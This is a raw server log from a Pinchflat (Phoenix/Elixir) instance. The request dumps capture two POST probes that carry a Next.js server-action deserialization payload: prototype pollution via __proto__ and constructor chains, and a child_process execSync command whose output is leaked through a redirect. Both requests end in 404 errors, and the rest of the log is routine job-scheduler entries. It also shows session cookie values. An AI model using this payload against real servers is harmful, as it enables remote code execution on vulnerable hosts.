"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "POST", owner: #PID<0.11870.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "1_$ACTION_ID_vercel" => "\"\"", "2" => "[]" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "860"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundaryb91b96f5e6324334"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsX0C_2183Sq8ABXAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "860", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryb91b96f5e6324334", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 860, path_info: :undefined, qs: "", has_body: true, streamid: 102, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plu (truncated) 17:14:44.785 [info] POST / 17:14:44.785 [debug] QUERY OK source="settings" db=0.1ms idle=780.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.785 [debug] QUERY OK source="settings" db=0.1ms idle=520.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:44.786 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:44.786 [error] #PID<0.11871.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 103) terminated Server: pinchflat.8layer8.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "636", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary590a1a091bb0466b", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 636, path_info: :undefined, qs: "", has_body: true, streamid: 103, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/safe_check_11111;307;'});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "POST", owner: #PID<0.11871.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"throw Object.assign(new Error('NEXT_REDIRECT'),{digest: 'NEXT_REDIRECT;push;/safe_check_11111;307;'});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "636"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundary590a1a091bb0466b"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsX1BEYapAWQoABXCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "636", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundary590a1a091bb0466b", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 636, path_info: :undefined, qs: "", has_body: true, streamid: 103, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, (truncated) 17:14:46.875 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.556 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:15:16.876 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:46.877 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.557 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:16:16.878 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:46.879 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.558 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:16.880 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:46.881 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.559 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:18:16.882 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:46.883 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.560 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:19:16.884 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:46.885 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.561 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:20:16.887 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:46.888 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.562 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:16.889 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:46.890 [info] {"source":"oban","duration":851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.563 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:16.892 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:46.893 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.564 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:16.894 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:46.895 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.565 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:16.896 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:46.897 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.566 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:16.899 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:46.900 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.567 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:16.901 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:46.902 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.568 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:16.903 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:46.903 [info] {"source":"oban","duration":433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.569 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:16.905 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:46.906 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.570 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:16.907 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:46.908 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.571 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:16.909 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:46.910 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.572 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:16.911 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:46.912 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.573 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:16.913 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:46.915 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.574 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:16.916 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:46.918 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.576 [info] {"source":"oban","duration":419,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:16.920 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:46.921 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.576 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:16.922 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:46.923 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.577 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:16.924 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:46.926 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.578 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:16.927 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:46.928 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.579 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:16.929 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:46.930 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.580 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:16.931 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:46.932 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.582 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:16.933 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:46.935 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.582 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:16.937 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:46.938 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.583 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:16.939 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:46.940 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.584 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:16.941 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:46.942 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.585 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:16.943 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:46.944 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.586 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:16.945 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:46.946 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.587 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:16.947 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:46.948 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.588 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:16.949 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:46.950 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.590 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:16.952 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:46.954 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.590 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:16.955 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:46.956 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.591 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:16.957 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:46.958 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.592 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:16.959 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:46.960 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.593 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:16.962 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:46.963 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.595 [info] {"source":"oban","duration":352,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:16.964 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:46.965 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.595 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:16.967 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:46.968 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.596 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:16.969 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:46.970 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.597 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:16.972 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:46.974 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.598 [info] 